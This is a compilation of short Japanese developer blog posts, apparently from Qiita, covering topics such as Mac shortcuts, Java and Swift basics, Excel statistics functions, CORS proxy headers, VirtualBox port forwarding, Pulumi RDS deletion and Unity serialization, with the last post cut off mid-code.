20層![resnet_20.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2323875/f4be9049-9bed-b131-5ba0-947a38244171.png)

50層![resnet_50.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2323875/f60c108e-002a-1b85-731a-2db6effbde7d.png)
マリリン・マンソン・ゲーム ～本物の「マリリン・マンソン」を探せ！～

# 事の顛末
以前，Twitter にてこんなつぶやきを発見しました．

https://twitter.com/ukotius/status/954824876744876032

要するに，外国人の日本語学習者に向けて，
**「カタカナの『リ』『ソ』『ン』，ちゃんと区別できる？」**
**「できなかったらもっと練習だぜ！」**
**「ところで，“Marilyn Manson”ってカタカナでは『マリリン・マンソン』って書くんだぜ！」**
というつぶやきです．

そこで 0.2kg 君は思いました．
「なるほど，マリリン・マンソンやべぇ」
「この 3 つの読み分け・書き分けは日本語ノンネイティブにはやはり鬼門なのか」

というわけで，

**「マリリン・マンソン」を使って「リ」「ソ」「ン」の区別を練習できるゲームを作っちゃおう！**

という発想から，本記事でご紹介する「マリリン・マンソン・ゲーム」の作成に至りました．

# これが「マリリン・マンソン・ゲーム」だ！

https://twitter.com/zeropt2kg/status/1451791070291918849

[ここ](https://zeropt2kg.github.io/marilyn-manson-game/)でプレイ可能です．

## ルール
10 秒以内に 25 個の「マリリン・マンソン」とその偽物から，本物の「マリリン・マンソン」を探し当てる．
得点は「(残り時間 [sec])*100-(ミス回数)*10」で計算される．

# 所感
残り時間で難易度調整ができそうですが，筆者も含めた日本語ネイティブにとっては 10 秒ちょいくらいがクリアできるかできないかのギリギリなんじゃないかと思っています．

# その後
個人的にノンネイティブの日本語学習者さんの反応が気になったので，知人の外国人留学生 2 人にこのゲームをやっていただきました．その結果，

「選択肢を 2, 3 個読むだけで制限時間終わっちゃった……」
「僕もだよ．制限時間までに 3 つより多くは読めなかったよ．**これってスピード勝負のゲームでカタカナの読み分けができてるかのテストじゃない気がする**」

という非常に興味深いコメントをいただきました．
「マリリン・マンソン・ゲーム」，どうやら日本語学習にはあまり役に立たないゲームのようです．

どっとはらい．
【Mac 作業効率化】みんな大好きショートカット （と便利な設定とツール紹介）

## 背景
業務でよくペアプロをよくしているのですが、そのときに自分の知っているショートカットや設定やツールを他の人が知らないことがよくありました。
これは、もしかしたら社内LTしたら需要あるのではと思い社内LTしたところ好評だったのでQiitaでも記事にしていきます。

## Chrome系
- 一日のはじめ
    - 僕は一日の初めに必ず開くページがあります。例：勤怠、メール、カレンダー、脆弱性サイト、ニュースサイトなどです。
    - 毎日探してくるのは面倒なので、絶対に開くサイトはブックマークバーの「一日のはじめ」フォルダーにまとめておいて、右クリック→「すべてを開く」で一気に開くようにしています。
- 戻ると進む
    - ctrl+[とctrl+]はよく使います。これでいちいちマウスで戻るボタンと進むボタンをクリックしなくてよいので楽です。
- 拡張の[Web Search Navigator](https://chrome.google.com/webstore/detail/web-search-navigator/cohamjploocgoejdfanacfgkhjkhdkek?hl=ja&theme=ashitanokougai_ver2015)も便利です
    - Google検索したあとの結果をキーボード（j, k）で上下に移動しながら確認できます。こちらもいちいちマウスに手を伸ばさなくてよいところが気に入っています
- ブックマーク検索
    - よく使うサイトなどはブックマークしておいてジャンプしてますが、数が多くなると記憶できないですし目視で探すのは難しいです。
    - 覚えたり整理したりするのが面倒なので、ブックマークを検索するようにしています。
    - やり方はこちらを参考に：https://sp7pc.com/google/chrome/2626
- ページ上のリンクを素早く探してクリックする方法
    - Chrome上でCommand + Fを押して検索バーを表示します。表示したら検索キーワードを入れてエンター。目的のリンクが見つかるまでエンターし続けます。目的のリンクが見つかったらEscキー。するとフォーカスがリンクにあたったままになるのでエンターを押すとリンク先に飛べます。

## [Rectangle](https://rectangleapp.com/)
- Windowsと同じようにウィンドウ並べたくないですか？そんなときに使えるのが[Rectangle](https://rectangleapp.com/)です
- 画面右側や左側、上や下、四隅にウィンドウを移動できるようになります。

## iterm2
- みんな使っていると思いますが
- 個人的に、画面分割（ctrl+dやctrl+shift+d）をよく使います。画面分割した後、ctrl+[やctrl+]で分割した画面を移動しながら作業することが多いです。ログを見ながらプログラムを実行するときなどに重宝しています。

## fish
- シェルです。
- bash、zshを使っている人はきっと感動します。僕はしました。ぜひ使ってください。
- 補完がすごいです。historyとかctrl+Rがもういらない
- 色もきれいで目にも優しい（気がします）
- なにも設定しなくてもプロンプトが使いやすい。特にgitを使うときに今のブランチ名をすぐに確認できるのが気に入っています

## Google日本語入力
- 過去の変換を覚えていてくれたりするので、入力にかかる労力がぜったいに減ります。
- 個人的に「いま」「今日」と入力したときに現在時刻と今日の日付を変換してくれるのがとても便利です。
- 単語登録はいっぱいしましょう。人の名前は結構いれてます、お客様の名前とか間違えたくないものは入れるようにしています。
- あとは短縮登録しておくと便利です。例：おせ → お世話になっております。ちゅらデータ株式会社 萩原です。
- それから、スペースキーを押したらいつも半角になるようにしています。
- 僕は数字や記号についても半角で使うことが多いので、すべて半角になるようにGoogle日本語入力で設定しています。（記号ごとに半角にするか全角にするかを設定できます）

## [Clipy](https://clipy.softonic.jp/mac)
- クリップボードマネージャー
- おそらく今回紹介するものの中で一番作業効率アップ率が髙いです
- 数個前にコピーした内容を覚えていてくれたり、よく使う文などはスニペット登録しておけます

## シェル
- 僕はファイルを保存するときにはYYYYMMDDのディレクトリーを作って保存することが多いので日付をシェル変数に入れるようにしています。

```shell:fishでの設定方法（~/.config/fish/config.fish）
# 今日の日付
set -x today (date +%Y%m%d)
# 昨日の日付
set -x yesterday (date -v -1d +%Y%m%d)
```

こうすると以下のように使えます

```shell:日付変数の使い方
# 日付ディレクトリー作成
$ mkdir $today
# 作成されたか確認
$ ll | grep $today
drwxr-xr-x  2 shohei.hagiwara  wheel    64B 11 29 07:17 20211129
```

## Excel
- F4で前の操作の繰り返しができます。僕はセルの色を変えたり罫線で囲むときによく使います

## vim
- Macで普段のエディターでMacVimを使っています
- 実は標準機能で補完ができるって知っていました？ページ内にある単語であれば、単語を途中まで入力 → Ctrl+P、Ctrl+Nで補完ができます

## その他
- 自動保存ができるツールであれば必ず有効にしておきましょう。例えばExcelやPowerPointの自動保存は有効にしておきましょう。予期しないエラーなどで落ちてしまったときに本当にこれで救われます・・・。

## 終わりに
ということで今回は僕が実際に業務で使っているショートカット、設定、ツールを紹介しました。少しでもみなさんのお役に立てば幸いです。
他にもこんなのあるよ！こっちの方が便利だよ！などありましたらぜひコメント欄でお知らせください。
playbackCameraの環境構築について

# playbackCameraとは
スマートフォンなどで撮影したスポーツのフォームチェック動画を
撮影から数秒後に描画するアプリケーション。
RTSP、WEBカメラなどに対応しており、最大4台接続可能。

## 環境構築

### raspberry piでの環境構築方法
以下の通り行う。

```bash:
sudo apt update
sudo apt upgrade
sudo pip install --upgrade pip
sudo apt install libavutil56 libcairo-gobject2 libgtk-3-0 libqtgui4 libpango-1.0-0 libqtcore4 libavcodec58 libcairo2 libswscale5 libtiff5 libqt4-test libatk1.0-0 libavformat58 libgdk-pixbuf2.0-0 libilmbase23 libjasper1 libopenexr23 libpangocairo-1.0-0 libwebp6

sudo apt-get install libatlas-base-dev
pip3 uninstall numpy  # remove previously installed version
sudo apt install python3-numpy

sudo pip3 install opencv-python screeninfo fpstimer

git clone https://github.com/darts-cloud/playbackCamera.git
```

### 速度が遅い
ここで困った事象に直面した。
raspberry pi4の実施速度がとても遅い。
いわゆるシリコンmacでは40fpsほど出ていたが、
raspberry piでは5fps…。
ここまで遅いとは！

遅い原因を調査することにした。
とりあえず、OpenCvからの動画取り込み部分を調査。

```Python:
import cv2
import time
from CountFps import *

"""
映像リソースより最新のフレームを読み込むためのクラス
FPSが異なる複数リソースにアクセスする場合、
常に最新のフレームを取得することができる。
"""
class VideoCapture:

	def __init__(self, src):
		self.src = src
		print("Connect:" + src)
		self.video = cv2.VideoCapture(src)
		if not self.video.isOpened():
			print("Connect Error.")
			return

		print("Connected.")
		self.stopped = False
		self.fpsCount = CountFps()

	def update(self):
		
		while True:

			try:
				if self.stopped:
					time.sleep(1000)
					continue
				
				ret, img = self.video.read()
				self.fpsCount.CountFrame()

				if not ret:
					self.stop()
					print(self.src + ":stop")
					continue
				
				times = time.time()
				fps = self.fpsCount.CountFps()
				print(fps)
			except Exception:
				pass

	def release(self):
		self.stopped = True
		self.video.release()
	
	def isOpened(self):
		return self.video.isOpened()

def main():
	cam = VideoCapture("rtsp://192.168.1.144:8554/unicast")
	cam.update()

if __name__ == "__main__": 
	main()
```

結果、20fpsほどは出ている。
確かにこの部分も想定の速度が出ていないが、ここが原因ではない。
raspberry pi4にカメラを直接接続し、動画を取得した場合は30fps出る。

#### raspberry pi4にカメラを直接接続し、動画を取得。

|方法|解像度|コーデック|fps|
|--|:-:|:-:|--:|
|raspi camera v2.1 module |||30fps|
|rtsp(atom camera)|1920x1080|H.264|20fps|
|rtsp(LiveReporter)|1920x1080|H.264|30fps|
|rtsp(LiveReporter)|640x480|H.264|30fps|

※atomcamの20fpsは仕様

#### playbackCameraでfpsを測定

|方法|解像度|コーデック|fps|
|--|:-:|:-:|--:|
|rtsp(atom camera)|1920x1080||5fps|
|rtsp(LiveReporter)|1920x1080|H.264|5fps|
|rtsp(LiveReporter)|640x480|H.264|8fps|

### ということは、描画部分か
あらためて調査予定。
動画のバッファ部分で処理速度がガタ落ちしている？
Microsoft 製品とソフトウェアエンジニアのキャリア

# はじめに
 およそ、デスクワークを中心としている労働者は多かれ少なかれ、Microsoft製品を日々使っていることかと思う。ここでは、今更ながらソフトウェアエンジニアのキャリアとMicrosoft製品のマッピングを行いたいと思う。なお、**非マイクロソフト原理主義**の諸兄もいらっしゃると思うが、その場合は適当なオフィススィーツを当てはめていただけたらと思う。

# 代表的なMicrosoft製品
　細かいプロダクトはたくさんあるし、自分もMicrosoftの資格はなんにも持っていない上に日々、ツールを行ったり来たりしているので、パッと思いついたものを印象で適当に書くことをお許しください。
* Powerpoint
* Word
* Excel
* VisualStudio
* VisualStudio Code

# 上流工程と下流工程
　ソフトウエア業界の求人を見ると、「上流工程から入っていただきます。」とか「上流工程へのキャリアパスがあります。」みたいなのを散見する。一応、[~~くそ~~ソフトウエアを書いていた身](https://qiita.com/ooo_6502/items/99b596941e9e503875e3)では、これらの文面を理解できなかったが、今の会社に転職して何となく分かるようになってきた。同僚たちの使っているツールを見てて理解できたのだ!!

# ここでもう一度、Microsoft製品を見てみる
* Powerpoint 
　うちの会社だと、コンサルタントの人たちが使う。オレは上司のことを**Powerpoint factory**(=パワポマテリアルの量産機械)と呼んでるくらいだ。

* Word
　正直なところ、あまりソフトウエアエンジニアで使っている人は見たこと無いが、お客さんに出すPDFの手前でこれを駆使してドキュメント作成は散見している。仕様書を書いたり、最後の納品物でこれを使う印象。

* Excel 
　プロジェクトマネージャが使っていることが多い。もちろん、プロジェクトマネージメント用の専用ツールも使うが、インストールベースでこれに勝てるソフトウエアはあまり無いので、こちらを使うのは理解できる。工数や経費の見積もりで大活躍！

* VisualStudio
　昨今では、純然たるWinAppを組むことも少なくなったと思うし、巨大なディスクスペースを専有するので一頃より目につかなくなった印象。でも、デバドラを作ったりするのには必須である。これをまともに使うのはそれなりの腕があるソフトウエアエンジニアの印象

* VisualStudio Code
　もう誰でも使っている印象。もちろん、Powerpoint factoryな人でもエディターとしてインストールしている。ただ、上記のツールを**メイン**で使っている人とは線引が出来ると思う…

# まとめ
　なんのことはない、上記のオーダーがそのまま**単価**になっていた。それにしても製品だけで、IT業界を俯瞰できるラインナップは見事というか非常に興味深い。今一度、各ツールの稼働率を点検するといい、自分がIT業界のどの位置にいるかが浮き彫りになるだろう。

# リソース
[Twitter](https://twitter.com/home)
ブラウザをズームアウトすると解決するトレイルヘッド

[Trailhead関係　個別の課題別に戻る](https://qiita.com/Keiji_otsubo/items/56eb7a90bb72138ece1f)


インポートウィザード、関連リストの設定の他にもありそうです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/328136/17af4e48-2ef5-b12a-0931-3c20fd8476af.png)

Try zooming out on your browser, you should see the next button on the right side.

[Lightning App Builder not loading](https://trailhead.salesforce.com/ja/trailblazer-community/feed/0D54S00000A9BG4SAN)

[Process Automation Specialist Superbadge](https://trailhead.salesforce.com/ja/trailblazer-community/feed/0D54S00000E93LLSAZ)
Progate Java編 I 個人的備忘録

# 出力

Javaで出力するには、`System.out.println()`を使う。

```java:Main.java
System.out.println("Hello World");
```

```console:コンソール
Hello World
```


# Javaの構造

Javaの基本的な構造は、クラス部分、メソッド部分、処理部分に分けられる。
クラス部分の中にメソッド部分があり、そのメソッド部分の中に処理部分がある。

```java:Main.java
class Main { // クラス部分
  public static void main(String[] args) { // メソッド部分
    System.out.println("Hello World"); // 処理部分
  }
}
```


# 変数定義とデータ型

Javaでは変数を定義するときに**「データ型」**を指定する必要がある。

・数字の変数定義の場合、`int 変数名`で定義する。
・文字列の変数定義の場合、`String 変数名`で定義する。

```java:Main.java
int number;
number = 10;
System.out.println(number);

// 変数定義と同時に値を代入することもできる（こっちが基本）
String text = "Hello World";
System.out.println(text);
```

```console:コンソール
10
Hello World
```


# 変数の更新

変数を更新するときは、データ型をつけない。

```java:Main.java
int number = 3;
number = 5;
System.out.println(number);
```

```console:コンソール
5
```


# 少数を表すデータ型

整数の数字のデータ型を表すのがint型であるのに対し、少数の数字を表すのが`double型`である。

```java:Main.java
double number = 3.14;
System.out.println(number);
```

```console:コンソール
3.14
```


# 型変換

Javaでは「+」などで文字列を連結させるときは同じデータ型同士でないといけないため、違うデータ型同士の場合は、同じデータ型に合わせる必要がある。

その方法として、**「自動型変換」**と**「手動型変換」**がある。

### 自動型変換

自動型変換の例として、以下のようにString型とint型を足すと、int型が自動でString型に変換される。

```java:Main.java
System.out.println("佐藤さんは" + 23 + "歳です");
// 「"佐藤さんは" + "23" + "歳です"」のようにString型に変換される
```

**※数値の自動型変換の場合は、注意が必要である**

int型同士の計算はint型の結果になり、double型同士の計算はdouble型の結果になってしまう。

```java:Main.java
System.out.println(5 / 2); // 2

System.out.println(5.0 / 2.0); // 2.5
```

int型とdouble型の計算は、double型の結果になる。

```java:Main.java
System.out.println(5.0 / 2); // 2.5
// 「5.0 / 2.0」
```

### 手動型変換

変数に数字を格納している場合などで、強制的に型変換したいときは、**「キャスト」**を使う。
`(変換したいデータ型)値`

```java:Main.java
int number1 = 13;
int number2 = 4;

System.out.println((double)number1 / number2); // 3.25
// number1の値とnumber2の値がdouble型に変換される
```
【Xcode】ファイルを作成する時のSwift FileとCocoa Touch Classの違い

初投稿です。
基本備忘録ですが、同じ疑問を持った方の為になれば幸いです。

今回はXcodeでファイルを作成する時に選択する「Swift File」と「Cocoa Touch Class」の違いをまとめてみました。

結論から申しますと、ファイル作成時にテンプレートがあるかないかだけの違いみたいです。
まず「Swift File」から見ていきましょう。

## Swift File
「Swift File」を作成すると下記のような記述がされたファイルが作成されます。
　※コメント部分は省略しています。

```swift
import Foundation
```

上記のようにこの一行だけ記述されたファイルが作成されます。

## 「Cocoa Touch Class」

次に「Cocoa Touch Class」はどうでしょう。
「Cocoa Touch Class」を作成する場合は作成時にSub class（継承するクラス）を指定する必要があります。
ここではUITableViewControllerを指定しています。
　※ここでもコメント部分は省略しています。

```Swift
import UIKit

class TableViewController: UITableViewController {

    override func viewDidLoad() {
        super.viewDidLoad()
    }
    override func numberOfSections(in tableView: UITableView) -> Int {
        return 0
    }
    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
        return 0
    }
}
```

上記の場合はUITableViewControllerを継承したので、必須なメソッドであるnumberOfSectionsとnumberOfRowsInSectionを元から記述してくれているということですね。

## まとめ

「Swift File」は何も記述されていない白紙のファイルを作成したい時、「Cocoa Touch Class」は用途に応じて、継承させたいクラスがある時に使うというような解釈でいいと思います。

ここ違うよ！という場所などがありましたら、ご指摘いただければと思います。
プラグイン開発者のためのオブジェクト指向

# この記事の対象者
変数や代入、関数はわかるけど、classって何？extends、implementsって？という人が対象です。

# オブジェクト指向プログラミング
オブジェクト指向プログラミング(OOP)はシステムを設計するための考え方です。
役割で仕事を分担し連携することでシステムを構築していきます。
この分担した仕事の担当者がオブジェクトです。
そしてOOPで重要なのは、このオブジェクト同士の__コミュニケーション__です。
![undraw_Working_re_ddwy_50.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/391530/caeb1c86-b562-17e9-79e7-5b6f44ac9936.png)
### オブジェクト
オブジェクトは、『状態』と『振る舞い』を持っています。
『状態』とは、オブジェクトが保持しているデータを指します。
『振る舞い』とは、仕事の処理方法や処理すること自体を指します。

これ以外にオブジェクトにはインターフェイスがあります。
人間は言語によってコミュニケーションしていますが、オブジェクトの場合はメッセージパッシングによってコミュニケーションをします。オブジェクトがオブジェクトに対してメッセージを送信し、受け取ったメッセージをオブジェクトは処理します。「これやっておいて」って会社で言われるのと似ていますね。このメッセージの窓口を定義したものがインターフェイスです。送信者はインターフェイスで決められた方法でメッセージを送信します。インターフェイスのおかげで、どうやって処理しているのか知らなくても担当オブジェクトに仕事を頼むことができます。このように中身を外から見えなく(隠蔽)して外部のオブジェクトが考慮するべきあれこれを減らすことをカプセル化と言います。

ここからは純粋なOOPではなく、OOPを活用する上で必ず出てくる概念や言葉を説明します。

### オブジェクト化
仕事内容は同じでも異なるデータを複数の人がそれぞれ処理するケースがあります。この場合オブジェクトは複数になります。仕事内容を定義したものがクラスです。クラスを設計図として、実際にデータを保持して仕事をしてくれるオブジェクトを生成することをオブジェクト化と言います。設計図から実体を生成するため、オブジェクトはインスタンスとも呼ばれます。インスタンスと呼ぶ場合、オブジェクト化はインスタンス化と呼ばれます。滅多なことがない限りオブジェクトとインスタンスは同じものなので各自で読み替えてください。また、多くの言語でオブジェクト化はnewキーワードによって記述します。

### 継承
同じ特徴を持つけど中身が違ったり追加要素があったりするものを実装する際に継承を使います。簡単に言うと、設計図(クラス)を使いまわして拡張することです。例えば犬と猫は鳴き声が異なりますが、生物であることは同じです。よって生命維持を生物クラスで定義し、それを継承することで犬クラスと猫クラスでは鳴き声だけを実装するだけで済みます。生物クラスのように継承されたクラスのことをスーパークラスと言います。犬クラス、猫クラスはサブクラスと言います。犬クラスは生物クラスを継承しているので、犬オブジェクトは犬オブジェクトとしても生物オブジェクトとしても扱えます。猫オブジェクトも同様です。特徴によって異なるクラスのオブジェクトでも同じように扱えるため便利ですね。PHPでは``class 犬 extends 生物``のようにextendsキーワードによって継承を記述します。

### 抽象クラス
継承されることを前提と抽象クラスがあります。インターフェイスだけ用意して中身を未定にしてサブクラスに実装してもらうことができます。不完全なため抽象クラスはオブジェクト化できません。しかしインターフェイスは定義されているため、先程の生物クラスのように継承したクラスのオブジェクトを同じものとして扱うことができます。PHPでは``abstract class 生物``のように抽象クラスを定義します。抽象クラスは部分的に処理を実装していますが、完全にインターフェイスだけ定義したものがあります。そういったものは``interface 鳴く``のようにclassではなくinterfaceキーワードを用いて定義します。そしてinterfaceで定義した場合、extendsではなくimplementsを使います。

### 名前空間
ファイルごとに格納するフォルダを分けて整理するのと同じように(ファイルとフォルダの違いわかるよね？)、クラスを定義する場所を分けて整理するときに名前空間を使います。PHPではnamespaceキーワードで記述します。名前空間が異なれば同名のクラスも定義できます。そのため、ソースコード内で記述されているクラスがどの名前空間のものなのか指定するために完全修飾名でクラス名を記述するか、use文を書く必要があります。

### アクセス修飾子
クラスの外からアクセスできるもの(public)、外からはアクセスできないけど継承したクラスからはアクセスできるもの(protected)、自分自身しかアクセスできないもの(private)。こういったアクセスできる範囲を制限するものがアクセス修飾子です。クラスを定義する際、メンバ関数やメンバ変数に設定できます。カプセル化の観点から外からアクセスされるべきでないものはprotectedやprivateで隠しましょう。

# まとめ
プラグインを書いていてわからないことが出てきたとき、オブジェクト指向がわかれば自分でPMMPのソースコードを読んで問題を解決することができたりします。プラグインのソースコードを整理することもできます。また、役割でクラスにまとまっているので再利用することもできて開発が楽になります。オブジェクト指向を活用してプラグイン開発を効率化していきましょう。
高卒技能員のExcel関数まとめ(基本統計量)

#基本統計量

Pythonでいうdescribeに該当します。
基本統計量は厳密な定義は存在しないと認識しいます。
##データ分析ツールを使う場合
Excelの場合、分析ツール->基本統計量で詳細詳細を取得することが出来ます。
以下のような９つのデータを使用する場合
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/588211/7334b14b-665e-3a38-b595-b6a51710d363.png)

上部にある「データ」タブ、さらに右にある「分析」から「データ分析」押下
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/588211/8428dc0a-585b-4225-3f63-f6f80783be16.png)
基本統計量を押下
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/588211/2445b93f-9e6b-4915-b8a6-d7833e97bdc0.png)
以下のようにしてOK押下
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/588211/074b47f5-03f9-ab51-91d1-b766b43cdde7.png)


結果
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/588211/ad5f8df2-8fde-44df-23b4-a8c85efe7976.png)

##エクセル関数を使う場合
基本統計量の項目をエクセル関数で再現すると以下のようになります。


| 項目       |      関数 |
|:-----------|:---------:|
平均|=AVERAGE(A2:A10)
標準誤差	|=STDEV(A2:A10)/SQRT(COUNT(A2:A10))
中央値 （メジアン）|=MEDIAN(A2:A10)
最頻値 （モード）|=MODE(A2:A10)
標準偏差	|=STDEV.S(A2:A10)
分散	|=VAR.S(A2:A10)
尖度	|=KURT(A2:A10)
歪度	|=SKEW(A2:A10)
範囲	|=MAX(A2:A10)-MIN(A2:A10)
最小	|=MIN(A2:A10)
最大	|=MAX(A2:A10)
合計	|=SUM(A2:A10)
データの個数|=COUNT(A2:A10)


##追加で見ておきたい関数
「基本統計量」と呼んでいいか微妙ですが、四分位点をプラスしておけば更にデータの特徴を掴みやすいです

| 戻り値       |      関数 |
|:-----------|:---------:|
0(最小値)	|=QUARTILE(A2:A10,0)
1(第1四分位数)	|=QUARTILE(A2:A10,1)
2(第2四分位数＝中央値)	|=QUARTILE(A2:A10,2)
3(第3四分位数)	|=QUARTILE(A2:A10,3)
4(最大値)	|=QUARTILE(A2:A10,4)
'Stripe' is not defined でStripeが実装できないあなたへ


タイトルままです。

## 結論

Stripe変数の定義の所を以下の文からwindowオブジェクトをつけてあげると解決しました。

```js:notWorked
var stripe = Stripe("PUBLISH_KEY");
```

```js:worked
var stripe = window.Stripe("PUBLISH_KEY");
```

Stack Overflowで見つけたので、日本勢でもし私と同じ問題に直面した方向けの共有でした。

## 背景

Vue x Firebase構成でFrontからStripe CDN呼び出そうとした時にココで詰まりました。
Stripe SDK使うのを諦めようとした日もあった程です。

気を付けましょう。
Ajaxのアクセス先をプロキシする際には、レスポンスヘッダを書き換えよ

JavaScriptでコールするAPIの中身を書き換えて表示を確認したいとき、Charlesでプロキシしてやると便利だ。
ただし、APIのドメインがウェブサイトと違うなど、オリジンが違う場合にはレスポンスヘッダを書き換えてやる必要がある。
でないと、CORSエラーが出てJavaScriptがアクセスできない。

具体的には、`Access-Control-Allow-Origin:*`を追加する。アクセス許可するオリジンを指定するヘッダだ。
こちらの記事が端的にまとまっていて良い。
[Charlesで本番のAPIレスポンスを書き換える（SSL,CORS対応版）](https://qiita.com/honmaaax/items/7969a3135978a969bf99)

だが、これだけではCORSエラーが消えなくて困った。
よく見るとこんなエラー文言がコンソールに出ていた。

> Request header field content-type is not allowed by Access-Control-Allow-Headers in preflight response.

CORSなAPIアクセスの場合、ブラウザは予めプリフライトリクエストと呼ばれるリクエストを飛ばして、正しくCORSできるかどうか確認する。
その際、リクエストヘッダーに含まれる`Content-Type`が、レスポンスヘッダーの`Access-Control-Allow-Headers`で許可されている必要があるらしい。

`Access-Control-Allow-Origin:*`だけではダメだったのだ。
`Access-Control-Allow-Headers:Content-Type`も追加しよう。
【virtualbox】ホストOSからゲストOSへのhttp通信

# ホストOSからゲストOSに接続できない。
ホストOSからゲストOSにhttp通信を行おうとした際に接続できない事象が発生した。

接続できない大きな原因として
①ゲストOSのファイアウォールが80番ポートが開いているか
②ポートフォワーディングにhttp通信を設定しているか
③ゲストOSのIPアドレスが正しいか

上記、3点の原因を理解した上でそれぞれの確認を行っていく。
※ホストOSのブラウザからゲストOSの接続は最後に行う。

まず、大抵の原因であろう１番から確認していく。

<font color="green">**①ゲストOSのファイアウォールが80番ポートが開いているかの確認方法**</font>
-
ゲストOSの端末を開く。

最初にファイアフォールのサービスが起動しているかを確認。
下記コマンドを実行し、<font color="red">**active**</font>だった場合はサービス起動中であることを確認。

```ruby:firewalld確認
systemctl status firewalld.service
```


※もし、サービス起動中でない場合は、下記コマンドを実行し、ファイアフォールのサービスを起動させる。

```ruby:firewalld起動
systemctl start firewalld.service
```


次に本題である。下記コマンドを実行し、80番ポート(http)が開いているかを確認する。

```ruby:80番ポート確認
firewall-cmd --list-all
```

実行すると、下記の内容がでてくる。

```ruby:firewall詳細
public (active)
  target: default
  icmp-block-inversion: no
  interfaces: enp0s3
  sources:
  services: dhcpv6-client http ssh
  ports: 443/tcp
  protocols:
  masquerade: no
  forward-ports:
  source-ports:
  icmp-blocks:
  rich rules:
```

「services」に<font color="red">**http**</font>があれば、80番ポートの通信が許可されていることがわかる。

もし、許可されていない場合には、下記コマンドを実行し80番ポートの通信を設定する。

```ruby:http通信を許可する
firewall-cmd --add-service=http --zone=public --permanent
```

これで、もう一度「firewall-cmd --list-all」を実行し、80番ポート(http)が設定されていることを確かめる。
確認できたら、次に進む。

<font color="green">**②ポートフォワーディングにhttp通信を設定しているかの確認方法**</font>
-----
※ポートフォワーディングとは。。？
→特定のポートからの通信を、特定のポートの通信に自動的に転送すること。

virtualboxのウィンドウから
「設定」-「ネットワーク」-「高度」-「ポートフォワーディング」を開く。
下記の図の、右側の「＋」ボタンを押下し、<font color="red">**HTTP**</font>のように設定する。
ホストポートに関しては、ウェルノウンポートでなければなんでもよい。今回は「5000」を設定。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2258796/fe1140f2-83cf-49c3-e60a-9101238842db.png)

以上で、ポートフォワーディングの設定は完了。

<font color="green">**②ゲストOSのIPアドレスが正しいかの確認方法**</font>
-----
ゲストOSのIPアドレスを確認するためには、ゲストOSの端末で、下記コマンドを実行

```ruby:IPアドレス確認
ip addr
```

確認できたら、早速ホストOSからゲストOSにhttp接続を行ってみる。

ホストOSのブラウザで下記を実行する。
<font color="red">**http://[③で確認したゲストOSのIPアドレス]:[②で設定したホストポート]/**</font>
下記画面が表示されたら、ゲストOSにhttp通信できていることを確認。

![apache_cp-300x255.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2258796/09f103d6-b1c7-77e0-ad77-a02f7034bcf4.png)



今回は以上となります。
Pulumi (TypeScript) で作成した RDS (Aurora) を `pulumi destroy` 出来ないときに設定する項目


## はじめに

- Pulumi で作成した RDS(Aurora) を `pulumi destroy` で削除しようとしたときにエラーが発生し削除出来ない場合の対応方法
  - [pulumi-aws](https://github.com/pulumi/pulumi-aws) の裏側は terraform なので terraform と同じ対応方法です
  - `RDS Cluster FinalSnapshotIdentifier is required when a final snapshot is required`

## 対応手順

### RDS cluster に対して 不足しているオプションを付与

- `applyImmediately` に `true` を設定
- `backupRetentionPeriod` に `0` を設定
- `skipFinalSnapshot` に `true` を設定

```diff_typescript
const testRdsCluster = new aws.rds.Cluster('test-cluster', {
  ...
+  applyImmediately: true,
+  backupRetentionPeriod: 0,
+  skipFinalSnapshot: true,
  ...
})
```

上記設定後、 `pulumi destroy` を実行し削除できていることを確認してください。

## 注意

上記設定は、削除ために付与した条件です。
リソースを削除する必要がない場合は適切な設定を行ってください。

## Reference

https://stackoverflow.com/questions/50930470/terraform-error-rds-cluster-finalsnapshotidentifier-is-required-when-a-final-s

https://www.pulumi.com/docs/reference/pkg/aws/rds/clusterinstance/

https://github.com/pulumi/pulumi-aws
【アセンブラ】主催した勉強会の評判が良かったので資料を共有する

#はじめに
自分は今オンラインサロンに入っていますが、そこで勉強会をよく主催しています。その中の一つであるアセンブラ勉強会で発表した資料をここでも共有したいと思います。

#評判
うーん、人に褒められるのはやっぱり嬉しい。

https://twitter.com/dokozon0/status/1464238240941031429?s=20

https://twitter.com/koi_okasira/status/1464214613277372417?s=20

https://twitter.com/takuma_2531/status/1464205601769066498?s=20

https://twitter.com/Hiroastu_vv/status/1464483321010786306?s=20

#資料
https://github.com/Reon0429-cat/assembler-BriefingPaper

#おわりに
もっと勉強会開催して行きたいとモチベーションが上がりました。
気になる方は#アプリ道場サロンでTwitterで検索してみてください！
Unityでセーブ：ScriptableObjectもDictionaryもシリアライズしたい

# やりたいこと

セーブデータをファイルとして保存したい。
そのために、下記をシリアライズしたい。

- Vector3などのUnity組み込みクラス
- Dictionary

※今回はシリアライズに関してなので、暗号化やファイル保存、逆アセンブル対策などは扱いません

## こまったこと
Unityで利用できるシリアライズ方法は、主に2通り

- .Netで一般的な方法（例：System.Text.Json等）は、
    - Vector3やScriptableObjectなど、Unity組み込みクラスに対応しない
- UnityEngine.JsonUtility
    - Unity組み込みクラスに対応しているが、Dictionaryを保存できない

でもUnity組み込みクラスとDictionaryを両立したい！

# 解決方法

Dictionaryを含んだクラスは別に切り分け、byte[]としてシリアライズする
※JsonとかでもOK
※サンプルではNugetとか不要なBinaryFormatterを使用

```C#:サンプルコード
using System.Collections.Generic;
using System.Runtime.Serialization.Formatters.Binary;
using UnityEngine;

[Serializable]
public class SaveData
{
    public Vector3 position;
    public byte[] dictionaryClassBinary;
}

[Serializable]
public class DictionarySaveData
{
    // フラグとかを想定
    public Dictionary<string, bool> data1;
}

public class SaveTest : MonoBehaviour
{
    public void Save() {
        var saveData = new SaveData();
        saveData.position = transform.position;

